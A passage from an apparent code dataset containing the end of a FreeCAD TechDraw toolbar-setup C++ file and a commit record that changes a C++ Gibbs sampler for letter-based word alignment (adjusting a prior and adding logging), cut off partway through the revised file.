\"Separator\";\r\n\t*draw << dimensions;\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_ExportPage\";\r\n    *draw << \"TechDraw_ExportPageDxf\";\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_NewHatch\";\r\n    *draw << \"TechDraw_NewGeomHatch\";\r\n    *draw << \"TechDraw_Symbol\";\r\n    *draw << \"TechDraw_Image\";\r\n    *draw << \"TechDraw_ToggleFrame\";\r\n    *draw << \"Separator\";\r\n    *draw << annotations;\r\n\t*draw << lines;\r\n    *draw << vertices;\r\n    *draw << \"TechDraw_CosmeticEraser\";\r\n    *draw << \"TechDraw_DecorateLine\";\r\n    *draw << \"TechDraw_ShowAll\";\r\n    *draw << \"TechDraw_WeldSymbol\";\r\n    return root;\r\n}\r\n\r\nGui::ToolBarItem* Workbench::setupToolBars() const\r\n{\r\n    Gui::ToolBarItem* root = StdWorkbench::setupToolBars();\r\n    Gui::ToolBarItem* pages = new Gui::ToolBarItem(root);\r\n    pages->setCommand(\"TechDraw Pages\");\r\n    *pages << \"TechDraw_NewPageDef\";\r\n    *pages << \"TechDraw_NewPage\";\r\n    *pages << \"TechDraw_Redraw\";\r\n\r\n    Gui::ToolBarItem *views = new Gui::ToolBarItem(root);\r\n    views->setCommand(\"TechDraw Views\");\r\n    *views << \"TechDraw_NewView\";\r\n    *views << \"TechDraw_NewActiveView\";\r\n\/\/    *views << \"TechDraw_NewMulti\";    \/\/deprecated\r\n    *views << \"TechDraw_ProjGroup\";\r\n    *views << \"TechDraw_NewViewSection\";\r\n    *views << \"TechDraw_NewViewDetail\";\r\n    *views << \"TechDraw_DraftView\";\r\n    *views << \"TechDraw_ArchView\";\r\n    *views << \"TechDraw_Spreadsheet\";\r\n\r\n    Gui::ToolBarItem *clips = new Gui::ToolBarItem(root);\r\n    clips->setCommand(\"TechDraw Clips\");\r\n    *clips << \"TechDraw_Clip\";\r\n    *clips << \"TechDraw_ClipPlus\";\r\n    *clips << \"TechDraw_ClipMinus\";\r\n\r\n    Gui::ToolBarItem *dims = new Gui::ToolBarItem(root);\r\n    dims->setCommand(\"TechDraw Dimensions\");\r\n    *dims << \"TechDraw_NewLengthDimension\";\r\n    *dims << \"TechDraw_NewDistanceXDimension\";\r\n    *dims << \"TechDraw_NewDistanceYDimension\";\r\n    *dims << \"TechDraw_NewRadiusDimension\";\r\n    *dims << \"TechDraw_NewDiameterDimension\";\r\n    *dims << \"TechDraw_NewAngleDimension\";\r\n    *dims << \"TechDraw_NewAngle3PtDimension\";\r\n    *dims << \"TechDraw_ExtentGrp\";\r\n\/\/    *dims << \"TechDraw_HorizontalExtent\";\r\n\/\/    *dims << \"TechDraw_VerticalExtent\";\r\n    *dims << \"TechDraw_LinkDimension\";\r\n    *dims << \"TechDraw_NewBalloon\";\r\n\/\/    *dims << \"TechDraw_NewDimension\"\r\n\r\n    Gui::ToolBarItem *file = new Gui::ToolBarItem(root);\r\n    file->setCommand(\"TechDraw File Access\");\r\n    *file << \"TechDraw_ExportPage\";\r\n    *file << \"TechDraw_ExportPageDxf\";\r\n\r\n    Gui::ToolBarItem *decor = new Gui::ToolBarItem(root);\r\n    decor->setCommand(\"TechDraw Decoration\");\r\n    *decor << \"TechDraw_NewHatch\";\r\n    *decor << \"TechDraw_NewGeomHatch\";\r\n    *decor << \"TechDraw_Symbol\";\r\n    *decor << \"TechDraw_Image\";\r\n    *decor << \"TechDraw_ToggleFrame\";\r\n\r\n    Gui::ToolBarItem *anno = new Gui::ToolBarItem(root);\r\n    anno->setCommand(\"TechDraw Annotation\");\r\n    *anno << \"TechDraw_Annotation\";\r\n    *anno << \"TechDraw_LeaderLine\";\r\n    *anno << \"TechDraw_RichAnno\";\r\n    *anno << \"TechDraw_CosmeticVertexGrp\";\r\n    *anno << \"TechDraw_CenterLineGrp\";\r\n\/\/    *anno << \"TechDraw_FaceCenterLine\";\r\n\/\/    *anno << \"TechDraw_2LineCenterLine\";\r\n\/\/    *anno << \"TechDraw_2PointCenterLine\";\r\n    *anno << \"TechDraw_CosmeticEraser\";\r\n    *anno << \"TechDraw_DecorateLine\";\r\n    *anno << \"TechDraw_ShowAll\";\r\n    *anno << \"TechDraw_WeldSymbol\";\r\n    return root;\r\n}\r\n\r\nGui::ToolBarItem* Workbench::setupCommandBars() const\r\n{\r\n    Gui::ToolBarItem* root = new Gui::ToolBarItem;\r\n    Gui::ToolBarItem *pages = new Gui::ToolBarItem(root);\r\n    pages->setCommand(\"TechDraw Pages\");\r\n    *pages << \"TechDraw_NewPageDef\";\r\n    *pages << \"TechDraw_NewPage\";\r\n    *pages << \"TechDraw_Redraw\";\r\n\r\n    Gui::ToolBarItem *views = new Gui::ToolBarItem(root);\r\n    views->setCommand(\"Views\");\r\n    *views << \"TechDraw_NewView\";\r\n    *views << \"TechDraw_NewActiveView\";\r\n\/\/    *views << \"TechDraw_NewMulti\";    \/\/deprecated\r\n    *views << \"TechDraw_ProjGroup\";\r\n    *views << \"TechDraw_NewViewSection\";\r\n    *views << \"TechDraw_NewViewDetail\";\r\n    *views << \"TechDraw_DraftView\";\r\n    *views << \"TechDraw_Spreadsheet\";\r\n\r\n    Gui::ToolBarItem *clips = new Gui::ToolBarItem(root);\r\n    clips->setCommand(\"TechDraw Clips\");\r\n    *clips << \"TechDraw_Clip\";\r\n    *clips << \"TechDraw_ClipPlus\";\r\n    *clips << \"TechDraw_ClipMinus\";\r\n\r\n    Gui::ToolBarItem *dims = new Gui::ToolBarItem(root);\r\n    dims->setCommand(\"TechDraw Dimensions\");\r\n    *dims << \"TechDraw_NewLengthDimension\";\r\n    *dims << \"TechDraw_NewDistanceXDimension\";\r\n    *dims << \"TechDraw_NewDistanceYDimension\";\r\n    *dims << \"TechDraw_NewRadiusDimension\";\r\n    *dims << \"TechDraw_NewDiameterDimension\";\r\n    *dims << \"TechDraw_NewAngleDimension\";\r\n    *dims << \"TechDraw_NewAngle3PtDimension\";\r\n    *dims << \"TechDraw_ExtentGrp\";\r\n\/\/    *dims << \"TechDraw_HorizontalExtent\";\r\n\/\/    *dims << \"TechDraw_VerticalExtent\";\r\n    *dims << \"TechDraw_LinkDimension\";\r\n    *dims << \"TechDraw_NewBalloon\";\r\n\/\/    *dims << \"TechDraw_NewDimension\";\r\n\r\n    Gui::ToolBarItem *file = new Gui::ToolBarItem(root);\r\n    file->setCommand(\"TechDraw File Access\");\r\n    *file << \"TechDraw_ExportPage\";\r\n    *file << \"TechDraw_ExportPageDxf\";\r\n \r\n    Gui::ToolBarItem *decor = new Gui::ToolBarItem(root);\r\n    decor->setCommand(\"TechDraw Decoration\");\r\n    *decor << \"TechDraw_NewHatch\";\r\n    *decor << \"TechDraw_NewGeomHatch\";\r\n    *decor << \"TechDraw_Symbol\";\r\n    *decor << \"TechDraw_Image\";\r\n    *decor << \"TechDraw_ToggleFrame\";\r\n\r\n    Gui::ToolBarItem *anno = new Gui::ToolBarItem(root);\r\n    anno->setCommand(\"TechDraw Annotation\");\r\n    *anno << \"TechDraw_Annotation\";\r\n    *anno << \"TechDraw_LeaderLine\";\r\n    *anno << \"TechDraw_RichAnno\";\r\n    *anno << \"TechDraw_CosmeticVertexGrp\";\r\n    *anno << \"TechDraw_CenterLineGrp\";\r\n\/\/    *anno << \"TechDraw_FaceCenterLine\";\r\n\/\/    *anno << \"TechDraw_2LineCenterLine\";\r\n\/\/    *anno << \"TechDraw_2PointCenterLine\";\r\n    *anno << \"TechDraw_CosmeticEraser\";\r\n    *anno << \"TechDraw_DecorateLine\";\r\n    *anno << \"TechDraw_ShowAll\";\r\n    *anno << \"TechDraw_WeldSymbol\";\r\n\r\n    return root;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <tr1\/memory>\n#include <queue>\n\n#include <boost\/multi_array.hpp>\n#include <boost\/program_options.hpp>\n#include <boost\/program_options\/variables_map.hpp>\n\n#include \"array2d.h\"\n#include \"base_measures.h\"\n#include \"monotonic_pseg.h\"\n#include \"conditional_pseg.h\"\n#include \"trule.h\"\n#include \"tdict.h\"\n#include \"stringlib.h\"\n#include \"filelib.h\"\n#include \"dict.h\"\n#include \"sampler.h\"\n#include \"ccrp_nt.h\"\n#include \"corpus.h\"\n#include \"ngram_base.h\"\n\nusing namespace std;\nusing namespace tr1;\nnamespace po = boost::program_options;\n\nvoid InitCommandLine(int argc, char** argv, po::variables_map* conf) {\n  po::options_description opts(\"Configuration options\");\n  opts.add_options()\n        (\"samples,s\",po::value<unsigned>()->default_value(1000),\"Number of samples\")\n        (\"input,i\",po::value<string>(),\"Read parallel data from\")\n        (\"random_seed,S\",po::value<uint32_t>(), \"Random seed\");\n  po::options_description clo(\"Command line options\");\n  clo.add_options()\n        (\"config\", po::value<string>(), \"Configuration file\")\n        (\"help,h\", \"Print this help message and exit\");\n  po::options_description dconfig_options, dcmdline_options;\n  dconfig_options.add(opts);\n  dcmdline_options.add(opts).add(clo);\n  \n  po::store(parse_command_line(argc, argv, dcmdline_options), *conf);\n  if (conf->count(\"config\")) {\n    ifstream config((*conf)[\"config\"].as<string>().c_str());\n    po::store(po::parse_config_file(config, dconfig_options), *conf);\n  }\n  po::notify(*conf);\n\n  if (conf->count(\"help\") || (conf->count(\"input\") == 0)) {\n    cerr << dcmdline_options << endl;\n    exit(1);\n  }\n}\n\nshared_ptr<MT19937> prng;\n\nstruct LexicalAlignment {\n  unsigned char src_index;\n  bool is_transliteration;\n  vector<pair<short, short> > derivation;\n};\n\nstruct AlignedSentencePair {\n  vector<WordID> src;\n  vector<WordID> trg;\n  vector<LexicalAlignment> a;\n  Array2D<short> posterior;\n};\n\nstruct HierarchicalUnigramBase {\n  explicit HierarchicalUnigramBase(const unsigned vocab_e_size) : r(5,5), u0(1.0 \/ vocab_e_size) {}\n\n  \/\/ return p0 of rule.e_\n  prob_t operator()(const TRule& rule) const {\n    prob_t p = prob_t::One();\n    prob_t q;\n    for (unsigned i = 0; i < rule.e_.size(); ++i) {\n      q.logeq(r.logprob(rule.e_[i], log(u0)));\n      p *= q;\n    }\n    q.logeq(r.logprob(TD::Convert(\"<\/s>\"), log(u0)));\n    p *= q;\n    return p;\n  }\n\n  void Increment(const TRule& rule) {\n    for (unsigned i = 0; i < rule.e_.size(); ++i)\n      r.increment(rule.e_[i]);\n    r.increment(TD::Convert(\"<\/s>\"));\n  }\n\n  void Decrement(const TRule& rule) {\n    for (unsigned i = 0; i < rule.e_.size(); ++i)\n      r.decrement(rule.e_[i]);\n    r.decrement(TD::Convert(\"<\/s>\"));\n  }\n\n  CCRP_NoTable<WordID> r;\n  prob_t u0;\n};\n\nstruct HierarchicalWordBase {\n  explicit HierarchicalWordBase(const unsigned vocab_e_size) :\n      base(prob_t::One()), r(15,15), u0(-log(vocab_e_size)) {}\n\n  void ResampleHyperparameters(MT19937* rng) {\n    r.resample_hyperparameters(rng);\n  }\n\n  inline double logp0(const vector<WordID>& s) const {\n    return s.size() * u0;\n  }\n\n  \/\/ return p0 of rule.e_\n  prob_t operator()(const TRule& rule) const {\n    prob_t p; p.logeq(r.logprob(rule.e_, logp0(rule.e_)));\n    return p;\n  }\n\n  void Increment(const TRule& rule) {\n    if (r.increment(rule.e_)) {\n      prob_t p; p.logeq(logp0(rule.e_));\n      base *= p;\n    }\n  }\n\n  void Decrement(const TRule& rule) {\n    if (r.decrement(rule.e_)) {\n      prob_t p; p.logeq(logp0(rule.e_));\n      base \/= p;\n    }\n  }\n\n  prob_t Likelihood() const {\n    prob_t p; p.logeq(r.log_crp_prob());\n    p *= base;\n    return p;\n  }\n\n  void Summary() const {\n    cerr << \"NUMBER OF CUSTOMERS: \" << r.num_customers() << endl;\n    for (CCRP_NoTable<vector<WordID> >::const_iterator it = r.begin(); it != r.end(); ++it)\n      cerr << \"   \" << it->second << '\\t' << TD::GetString(it->first) << endl;\n  }\n\n  prob_t base;\n  CCRP_NoTable<vector<WordID> > r;\n  const double u0;\n};\n\nstruct BasicLexicalAlignment {\n  explicit BasicLexicalAlignment(const vector<vector<WordID> >& lets,\n                                 const unsigned letters_e,\n                                 vector<AlignedSentencePair>* corp) :\n      letters(lets),\n      corpus(*corp),\n      \/\/up0(\"en.chars.1gram\", letters_e),\n      \/\/up0(\"en.words.1gram\"),\n      up0(letters_e),\n      \/\/up0(\"en.chars.2gram\"),\n      tmodel(up0) {\n  }\n\n  void InstantiateRule(const WordID src,\n                       const WordID trg,\n                       TRule* rule) const {\n    static const WordID kX = TD::Convert(\"X\") * -1;\n    rule->lhs_ = kX;\n    rule->e_ = letters[trg];\n    rule->f_ = letters[src];\n  }\n\n  void InitializeRandom() {\n    const WordID kNULL = TD::Convert(\"NULL\");\n    cerr << \"Initializing with random alignments ...\\n\";\n    for (unsigned i = 0; i < corpus.size(); ++i) {\n      AlignedSentencePair& asp = corpus[i];\n      asp.a.resize(asp.trg.size());\n      for (unsigned j = 0; j < asp.trg.size(); ++j) {\n        const unsigned char a_j = prng->next() * (1 + asp.src.size());\n        const WordID f_a_j = (a_j ? asp.src[a_j - 1] : kNULL);\n        TRule r;\n        InstantiateRule(f_a_j, asp.trg[j], &r);\n        asp.a[j].is_transliteration = false;\n        asp.a[j].src_index = a_j;\n        if (tmodel.IncrementRule(r))\n          up0.Increment(r);\n      }\n    }\n    cerr << \"  LLH = \" << Likelihood() << endl;\n  }\n\n  prob_t Likelihood() const {\n    prob_t p = tmodel.Likelihood();\n    p *= up0.Likelihood();\n    return p;\n  }\n\n  void ResampleHyperparemeters() {\n    cerr << \"  LLH_prev = \" << Likelihood() << flush;\n    tmodel.ResampleHyperparameters(&*prng);\n    up0.ResampleHyperparameters(&*prng);\n    cerr << \"\\tLLH_post = \" << Likelihood() << endl;\n  }\n\n  void ResampleCorpus();\n\n  const vector<vector<WordID> >& letters; \/\/ spelling dictionary\n  vector<AlignedSentencePair>& corpus;\n  \/\/PhraseConditionalUninformativeBase up0;\n  \/\/PhraseConditionalUninformativeUnigramBase up0;\n  \/\/UnigramWordBase up0;\n  \/\/HierarchicalUnigramBase up0;\n  HierarchicalWordBase up0;\n  \/\/CompletelyUniformBase up0;\n  \/\/FixedNgramBase up0;\n  \/\/ConditionalTranslationModel<PhraseConditionalUninformativeBase> tmodel;\n  \/\/ConditionalTranslationModel<PhraseConditionalUninformativeUnigramBase> tmodel;\n  \/\/ConditionalTranslationModel<UnigramWordBase> tmodel;\n  \/\/ConditionalTranslationModel<HierarchicalUnigramBase> tmodel;\n  ConditionalTranslationModel<HierarchicalWordBase> tmodel;\n  \/\/ConditionalTranslationModel<FixedNgramBase> tmodel;\n  \/\/ConditionalTranslationModel<CompletelyUniformBase> tmodel;\n};\n\nvoid BasicLexicalAlignment::ResampleCorpus() {\n  static const WordID kNULL = TD::Convert(\"NULL\");\n  for (unsigned i = 0; i < corpus.size(); ++i) {\n    AlignedSentencePair& asp = corpus[i];\n    SampleSet<prob_t> ss; ss.resize(asp.src.size() + 1);\n    for (unsigned j = 0; j < asp.trg.size(); ++j) {\n      TRule r;\n      unsigned char& a_j = asp.a[j].src_index;\n      WordID f_a_j = (a_j ? asp.src[a_j - 1] : kNULL);\n      InstantiateRule(f_a_j, asp.trg[j], &r);\n      if (tmodel.DecrementRule(r))\n        up0.Decrement(r);\n\n      for (unsigned prop_a_j = 0; prop_a_j <= asp.src.size(); ++prop_a_j) {\n        const WordID prop_f = (prop_a_j ? asp.src[prop_a_j - 1] : kNULL);\n        InstantiateRule(prop_f, asp.trg[j], &r);\n        ss[prop_a_j] = tmodel.RuleProbability(r);\n      }\n      a_j = prng->SelectSample(ss);\n      f_a_j = (a_j ? asp.src[a_j - 1] : kNULL);\n      InstantiateRule(f_a_j, asp.trg[j], &r);\n      if (tmodel.IncrementRule(r))\n        up0.Increment(r);\n    }\n  }\n  cerr << \"  LLH = \" << tmodel.Likelihood() << endl;\n}\n\nvoid ExtractLetters(const set<WordID>& v, vector<vector<WordID> >* l, set<WordID>* letset = NULL) {\n  for (set<WordID>::const_iterator it = v.begin(); it != v.end(); ++it) {\n    vector<WordID>& letters = (*l)[*it];\n    if (letters.size()) continue;   \/\/ if e and f have the same word\n\n    const string& w = TD::Convert(*it);\n    \n    size_t cur = 0;\n    while (cur < w.size()) {\n      const size_t len = UTF8Len(w[cur]);\n      letters.push_back(TD::Convert(w.substr(cur, len)));\n      if (letset) letset->insert(letters.back());\n      cur += len;\n    }\n  }\n}\n\nvoid Debug(const AlignedSentencePair& asp) {\n  cerr << TD::GetString(asp.src) << endl << TD::GetString(asp.trg) << endl;\n  Array2D<bool> a(asp.src.size(), asp.trg.size());\n  for (unsigned j = 0; j < asp.trg.size(); ++j)\n    if (asp.a[j].src_index) a(asp.a[j].src_index - 1, j) = true;\n  cerr << a << endl;\n}\n\nvoid AddSample(AlignedSentencePair* asp) {\n  for (unsigned j = 0; j < asp->trg.size(); ++j)\n    asp->posterior(asp->a[j].src_index, j)++;\n}\n\nvoid WriteAlignments(const AlignedSentencePair& asp) {\n  bool first = true;\n  for (unsigned j = 0; j < asp.trg.size(); ++j) {\n    int src_index = -1;\n    int mc = -1;\n    for (unsigned i = 0; i <= asp.src.size(); ++i) {\n      if (asp.posterior(i, j) > mc) {\n        mc = asp.posterior(i, j);\n        src_index = i;\n      }\n    }\n\n    if (src_index) {\n      if (first) first = false; else cout << ' ';\n      cout << (src_index - 1) << '-' << j;\n    }\n  }\n  cout << endl;\n}\n\nint main(int argc, char** argv) {\n  po::variables_map conf;\n  InitCommandLine(argc, argv, &conf);\n\n  if (conf.count(\"random_seed\"))\n    prng.reset(new MT19937(conf[\"random_seed\"].as<uint32_t>()));\n  else\n    prng.reset(new MT19937);\n\/\/  MT19937& rng = *prng;\n\n  vector<vector<int> > corpuse, corpusf;\n  set<int> vocabe, vocabf;\n  corpus::ReadParallelCorpus(conf[\"input\"].as<string>(), &corpusf, &corpuse, &vocabf, &vocabe);\n  cerr << \"f-Corpus size: \" << corpusf.size() << \" sentences\\n\";\n  cerr << \"f-Vocabulary size: \" << vocabf.size() << \" types\\n\";\n  cerr << \"f-Corpus size: \" << corpuse.size() << \" sentences\\n\";\n  cerr << \"f-Vocabulary size: \" << vocabe.size() << \" types\\n\";\n  assert(corpusf.size() == corpuse.size());\n\n  vector<AlignedSentencePair> corpus(corpuse.size());\n  for (unsigned i = 0; i < corpuse.size(); ++i) {\n    corpus[i].src.swap(corpusf[i]);\n    corpus[i].trg.swap(corpuse[i]);\n    corpus[i].posterior.resize(corpus[i].src.size() + 1, corpus[i].trg.size());\n  }\n  corpusf.clear(); corpuse.clear();\n\n  vocabf.insert(TD::Convert(\"NULL\"));\n  vector<vector<WordID> > letters(TD::NumWords());\n  set<WordID> letset;\n  ExtractLetters(vocabe, &letters, &letset);\n  ExtractLetters(vocabf, &letters, NULL);\n  letters[TD::Convert(\"NULL\")].clear();\n\n  BasicLexicalAlignment x(letters, letset.size(), &corpus);\n  x.InitializeRandom();\n  const unsigned samples = conf[\"samples\"].as<unsigned>();\n  for (int i = 0; i < samples; ++i) {\n    for (int j = 431; j < 433; ++j) Debug(corpus[j]);\n    cerr << i << \"\\t\" << x.tmodel.r.size() << \"\\t\";\n    if (i % 10 == 0) x.ResampleHyperparemeters();\n    x.ResampleCorpus();\n    if (i > (samples \/ 5) && (i % 10 == 9)) for (int j = 0; j < corpus.size(); ++j) AddSample(&corpus[j]);\n  }\n  for (unsigned i = 0; i < corpus.size(); ++i)\n    WriteAlignments(corpus[i]);\n  \/\/ModelAndData posterior(x, &corpus, vocabe, vocabf);\n  x.tmodel.Summary();\n  x.up0.Summary();\n\n  \/\/posterior.Sample();\n\n  return 0;\n}\n<commit_msg>remove broken prior, add logging<commit_after>#include <iostream>\n#include <tr1\/memory>\n#include <queue>\n\n#include <boost\/multi_array.hpp>\n#include <boost\/program_options.hpp>\n#include <boost\/program_options\/variables_map.hpp>\n\n#include \"array2d.h\"\n#include \"base_measures.h\"\n#include \"monotonic_pseg.h\"\n#include \"conditional_pseg.h\"\n#include \"trule.h\"\n#include \"tdict.h\"\n#include \"stringlib.h\"\n#include \"filelib.h\"\n#include \"dict.h\"\n#include \"sampler.h\"\n#include \"ccrp_nt.h\"\n#include \"corpus.h\"\n#include \"ngram_base.h\"\n\nusing namespace std;\nusing namespace tr1;\nnamespace po = boost::program_options;\n\nvoid InitCommandLine(int argc, char** argv, po::variables_map* conf) {\n  po::options_description opts(\"Configuration options\");\n  opts.add_options()\n        (\"samples,s\",po::value<unsigned>()->default_value(1000),\"Number of samples\")\n        (\"input,i\",po::value<string>(),\"Read parallel data from\")\n        (\"random_seed,S\",po::value<uint32_t>(), \"Random seed\");\n  po::options_description clo(\"Command line options\");\n  clo.add_options()\n        (\"config\", po::value<string>(), \"Configuration file\")\n        (\"help,h\", \"Print this help message and exit\");\n  po::options_description dconfig_options, dcmdline_options;\n  dconfig_options.add(opts);\n  dcmdline_options.add(opts).add(clo);\n  \n  po::store(parse_command_line(argc, argv, dcmdline_options), *conf);\n  if (conf->count(\"config\")) {\n    ifstream config((*conf)[\"config\"].as<string>().c_str());\n    po::store(po::parse_config_file(config, dconfig_options), *conf);\n  }\n  po::notify(*conf);\n\n  if (conf->count(\"help\") || (conf->count(\"input\") == 0)) {\n    cerr << dcmdline_options << endl;\n    exit(1);\n  }\n}\n\nshared_ptr<MT19937> prng;\n\nstruct LexicalAlignment {\n  unsigned char src_index;\n  bool is_transliteration;\n  vector<pair<short, short> > derivation;\n};\n\nstruct AlignedSentencePair {\n  vector<WordID> src;\n  vector<WordID> trg;\n  vector<LexicalAlignment> a;\n  Array2D<short> posterior;\n};\n\nstruct HierarchicalWordBase {\n  explicit HierarchicalWordBase(const unsigned vocab_e_size) :\n      base(prob_t::One()), r(25,25,10), u0(-log(vocab_e_size)) {}\n\n  void ResampleHyperparameters(MT19937* rng) {\n    r.resample_hyperparameters(rng);\n  }\n\n  inline double logp0(const vector<WordID>& s) const {\n    return s.size() * u0;\n  }\n\n  \/\/ return p0 of rule.e_\n  prob_t operator()(const TRule& rule) const {\n    prob_t p; p.logeq(r.logprob(rule.e_, logp0(rule.e_)));\n    return p;\n  }\n\n  void Increment(const TRule& rule) {\n    if (r.increment(rule.e_)) {\n      prob_t p; p.logeq(logp0(rule.e_));\n      base *= p;\n    }\n  }\n\n  void Decrement(const TRule& rule) {\n    if (r.decrement(rule.e_)) {\n      prob_t p; p.logeq(logp0(rule.e_));\n      base \/= p;\n    }\n  }\n\n  prob_t Likelihood() const {\n    prob_t p; p.logeq(r.log_crp_prob());\n    p *= base;\n    return p;\n  }\n\n  void Summary() const {\n    cerr << \"NUMBER OF CUSTOMERS: \" << r.num_customers() << \"  (\\\\alpha=\" << r.concentration() << ')' << endl;\n    for (CCRP_NoTable<vector<WordID> >::const_iterator it = r.begin(); it != r.end(); ++it)\n      cerr << \"   \" << it->second << '\\t' << TD::GetString(it->first) << endl;\n  }\n\n  prob_t base;\n  CCRP_NoTable<vector<WordID> > r;\n  const double u0;\n};\n\nstruct BasicLexicalAlignment {\n  explicit BasicLexicalAlignment(const vector<vector<WordID> >& lets,\n                                 const unsigned letters_e,\n                                 vector<AlignedSentencePair>* corp) :\n      letters(lets),\n      corpus(*corp),\n      \/\/up0(\"en.chars.1gram\", letters_e),\n      \/\/up0(\"en.words.1gram\"),\n      up0(letters_e),\n      \/\/up0(\"en.chars.2gram\"),\n      tmodel(up0) {\n  }\n\n  void InstantiateRule(const WordID src,\n                       const WordID trg,\n                       TRule* rule) const {\n    static const WordID kX = TD::Convert(\"X\") * -1;\n    rule->lhs_ = kX;\n    rule->e_ = letters[trg];\n    rule->f_ = letters[src];\n  }\n\n  void InitializeRandom() {\n    const WordID kNULL = TD::Convert(\"NULL\");\n    cerr << \"Initializing with random alignments ...\\n\";\n    for (unsigned i = 0; i < corpus.size(); ++i) {\n      AlignedSentencePair& asp = corpus[i];\n      asp.a.resize(asp.trg.size());\n      for (unsigned j = 0; j < asp.trg.size(); ++j) {\n        const unsigned char a_j = prng->next() * (1 + asp.src.size());\n        const WordID f_a_j = (a_j ? asp.src[a_j - 1] : kNULL);\n        TRule r;\n        InstantiateRule(f_a_j, asp.trg[j], &r);\n        asp.a[j].is_transliteration = false;\n        asp.a[j].src_index = a_j;\n        if (tmodel.IncrementRule(r))\n          up0.Increment(r);\n      }\n    }\n    cerr << \"  LLH = \" << Likelihood() << endl;\n  }\n\n  prob_t Likelihood() const {\n    prob_t p = tmodel.Likelihood();\n    p *= up0.Likelihood();\n    return p;\n  }\n\n  void ResampleHyperparemeters() {\n    cerr << \"  LLH_prev = \" << Likelihood() << flush;\n    tmodel.ResampleHyperparameters(&*prng);\n    up0.ResampleHyperparameters(&*prng);\n    cerr << \"\\tLLH_post = \" << Likelihood() << endl;\n  }\n\n  void ResampleCorpus();\n\n  const vector<vector<WordID> >& letters; \/\/ spelling dictionary\n  vector<AlignedSentencePair>& corpus;\n  \/\/PhraseConditionalUninformativeBase up0;\n  \/\/PhraseConditionalUninformativeUnigramBase up0;\n  \/\/UnigramWordBase up0;\n  \/\/HierarchicalUnigramBase up0;\n  HierarchicalWordBase up0;\n  \/\/CompletelyUniformBase up0;\n  \/\/FixedNgramBase up0;\n  \/\/ConditionalTranslationModel<PhraseConditionalUninformativeBase> tmodel;\n  \/\/ConditionalTranslationModel<PhraseConditionalUninformativeUnigramBase> tmodel;\n  \/\/ConditionalTranslationModel<UnigramWordBase> tmodel;\n  \/\/ConditionalTranslationModel<HierarchicalUnigramBase> tmodel;\n  ConditionalTranslationModel<HierarchicalWordBase> tmodel;\n  \/\/ConditionalTranslationModel<FixedNgramBase> tmodel;\n  \/\/ConditionalTranslationModel<CompletelyUniformBase> tmodel;\n};\n\nvoid BasicLexicalAlignment::ResampleCorpus() {\n  static const WordID kNULL = TD::Convert(\"NULL\");\n  for (unsigned i = 0; i < corpus.size(); ++i) {\n    AlignedSentencePair& asp = corpus[i];\n    SampleSet<prob_t> ss; ss.resize(asp.src.size() + 1);\n    for (unsigned j = 0; j < asp.trg.size(); ++j) {\n      TRule r;\n      unsigned char& a_j = asp.a[j].src_index;\n      WordID f_a_j = (a_j ? asp.src[a_j - 1] : kNULL);\n      InstantiateRule(f_a_j, asp.trg[j], &r);\n      if (tmodel.DecrementRule(r))\n        up0.Decrement(r);\n\n      for (unsigned prop_a_j = 0; prop_a_j <= asp.src.size(); ++prop_a_j) {\n        const WordID prop_f = (prop_a_j ? asp.src[prop_a_j - 1] : kNULL);\n        InstantiateRule(prop_f, asp.trg[j], &r);\n        ss[prop_a_j] = tmodel.RuleProbability(r);\n      }\n      a_j = prng->SelectSample(ss);\n      f_a_j = (a_j ? asp.src[a_j - 1] : kNULL);\n      InstantiateRule(f_a_j, asp.trg[j], &r);\n      if (tmodel.IncrementRule(r))\n        up0.Increment(r);\n    }\n  }\n  cerr << \"  LLH = \" << tmodel.Likelihood() << endl;\n}\n\nvoid ExtractLetters(const set<WordID>& v, vector<vector<WordID> >* l, set<WordID>* letset = NULL) {\n  for (set<WordID>::const_iterator it = v.begin(); it != v.end(); ++it) {\n    vector<WordID>& letters = (*l)[*it];\n    if (letters.size()) continue;   \/\/ if e and f have the same word\n\n    const string& w = TD::Convert(*it);\n    \n    size_t cur = 0;\n    while (cur < w.size()) {\n      const size_t len = UTF8Len(w[cur]);\n      letters.push_back(TD::Convert(w.substr(cur, len)));\n      if (letset) letset->insert(letters.back());\n      cur += len;\n    }\n  }\n}\n\nvoid Debug(const AlignedSentencePair& asp) {\n  cerr << TD::GetString(asp.src) << endl << TD::GetString(asp.trg) << endl;\n  Array2D<bool> a(asp.src.size(), asp.trg.size());\n  for (unsigned j = 0; j < asp.trg.size(); ++j)\n    if (asp.a[j].src_index) a(asp.a[j].src_index - 1, j) = true;\n  cerr << a << endl;\n}\n\nvoid AddSample(AlignedSentencePair* asp) {\n  for (unsigned j = 0; j < asp->trg.size(); ++j)\n    asp->posterior(asp->a[j].src_index, j)++;\n}\n\nvoid WriteAlignments(const AlignedSentencePair& asp) {\n  bool first = true;\n  for (unsigned j = 0; j < asp.trg.size(); ++j) {\n    int src_index = -1;\n    int mc = -1;\n    for (unsigned i = 0; i <= asp.src.size(); ++i) {\n      if (asp.posterior(i, j) > mc) {\n        mc = asp.posterior(i, j);\n        src_index = i;\n      }\n    }\n\n    if (src_index) {\n      if (first) first = false; else cout << ' ';\n      cout << (src_index - 1) << '-' << j;\n    }\n  }\n  cout << endl;\n}\n\nint main(int argc, char** argv) {\n  po::variables_map conf;\n  InitCommandLine(argc, argv, &conf);\n\n  if (conf.count(\"random_seed\"))\n    prng.reset(new MT19937(conf[\"random_seed\"].as<uint32_t>()));\n  else\n    prng.reset(new MT19937);\n\/\/  MT19937& rng = *prng;\n\n  vector<vector<int> > corpuse, corpusf;\n  set<int> vocabe, vocabf;\n  corpus::ReadParallelCorpus(conf[\"input\"].as<string>(), &corpusf, &corpuse, &vocabf, &vocabe);\n  cerr << \"f-Corpus size: \" << corpusf.size() << \" sentences\\n\";\n  cerr << \"f-Vocabulary size: \" << vocabf.size() << \" types\\n\";\n  cerr << \"f-Corpus size: \" << corpuse.size() << \" sentences\\n\";\n  cerr << \"f-Vocabulary size: \" << vocabe.size() << \" types\\n\";\n  assert(corpusf.size() == corpuse.size());\n\n  vector<AlignedSentencePair> corpus(corpuse.size());\n  for (unsigned i = 0; i < corpuse.size(); ++i) {\n    corpus[i].src.swap(corpusf[i]);\n    corpus[i].trg.swap(corpuse[i]);\n    corpus[i].posterior.resize(corpus[i].src.size() + 1, corpus[i].trg.size());\n  }\n  corpusf.clear(); corpuse.clear();\n\n  vocabf.insert(TD::Convert(\"NULL\"));\n  vector<vector<WordID> > letters(TD::NumWords());\n  set<WordID> 